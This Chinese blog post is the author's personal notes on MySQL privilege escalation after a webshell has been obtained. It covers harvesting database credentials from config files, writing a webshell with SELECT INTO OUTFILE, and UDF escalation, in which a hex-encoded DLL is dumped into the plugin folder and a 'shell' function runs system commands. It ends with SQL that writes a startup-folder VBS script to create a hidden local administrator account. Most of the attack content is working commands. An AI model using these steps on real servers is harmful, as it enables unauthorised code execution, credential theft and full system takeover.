Mysql提权

跑项目久了,太久没做技术,好多东西不记得翻车了,好记性不如烂笔头吧。

场景:通过Webshell拿到了数据库的连接地址

一些网站源代码文件中会包含数据库连接文件,通过查看这些文件可以获取数据库账号和密码。一般常见的数据库连接文件为config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml

使用ultraedit、Editplus等编辑文件编辑数据库配置文件后,会留下bak文件,同样可以利用

 

1、常规select into outfile写木马

前置条件:有Web路径,secure_file_priv为空或指定路径为web路径

1.1  show global variables like 'secure%'    #查看是否有上传权限

1.2  select @@basedir     #查看mysql安装地址

1.3  select into oufile   #写木马文件

其中创建数据库导出一句话后门与该法差不多就不介绍了。

 

2、UDF提权

前置条件:secure_file_priv为空或指定路径包含/mysql/lib/plugin文件夹,对2008及以下机器效果更好

UDF全称user define function,允许用户加载自定义dll创建功能函数

select into dumpfile    #dumpfile对文件内容是原意写入,未做任何转移和增加,所以UDF提权中使用dumpfile进行dll文件写入

2.1 select version()    #查看版本

若版本小于5.1,需要将dll文件放到 C:\Windows\system32下,如果大于等于5.2,则需要将dll文件放在lib\plugin目录下才可以生效

2.2 SHOW VARIABLES LIKE '%plugin%'    #查看是否有plugins目录

浏览目录,发现没有lib路径的存在,需要使用NTFS ADS进行创建(在获取到shell的情况下,如果权限够,也可以使用webshell管理工具创建。)。sql

语句如下,这里测试失败,百度说是权限问题,给了everyone权限测试也失败,为了实验的继续进行,自行创建了plugin文件夹

 

 

2.3 上传tools_udf.dll至plugin

如果有权限,可以直接将文件上传至plugin文件夹下。

如果无权限,需创建表,将dll文件16进制编码后存入,再通过语法导出至plugin文件夹下,详细步骤如下:

select hex(load_file("C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\tools_udf.dll")) into DUMPFILE "C:\\udf.txt";    #将我们的dll文件以16进制形式存储,为了后续能存入我们新建的表

create table my_udf_data(data longblob);  #新建表

insert into my_udf_data values(udf文件的16进制格式); //在udftmp中写入udf.txt文件内容

select data from my_udf_data into dumpfile 'C:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin\\test.dll';  #将表里内容导出成dll文件

CREATE FUNCTION shell RETURNS STRING SONAME 'test.dll';

SELECT shell('cmd','whoami');

坑点:第三步udf文件的16进制除了记得加0x以外,千万别习惯性的加引号,这次复现因为加了引号调试了好久。

image-20220902015100771

 

3、mof提权

技术太古老了,常见于xp、2003机器。

4、写启动项木马

利用SQL命令进行vbs脚本的创建和添加

create table secist(cmd text);

insert into secist values(“set wshshell=createobject(“”wscript.shell””)”);

insert into secist values(“a=wshshell.run(“”cmd.exe /c net user secist secist.com /add“”,0)”);

insert into secist values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators secist /add“”,0)”);

select * from secist into dumpfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\secist.vbs”;

posted @ 2022-09-04 22:27  我要变超人  阅读(136)  评论(0编辑  收藏  举报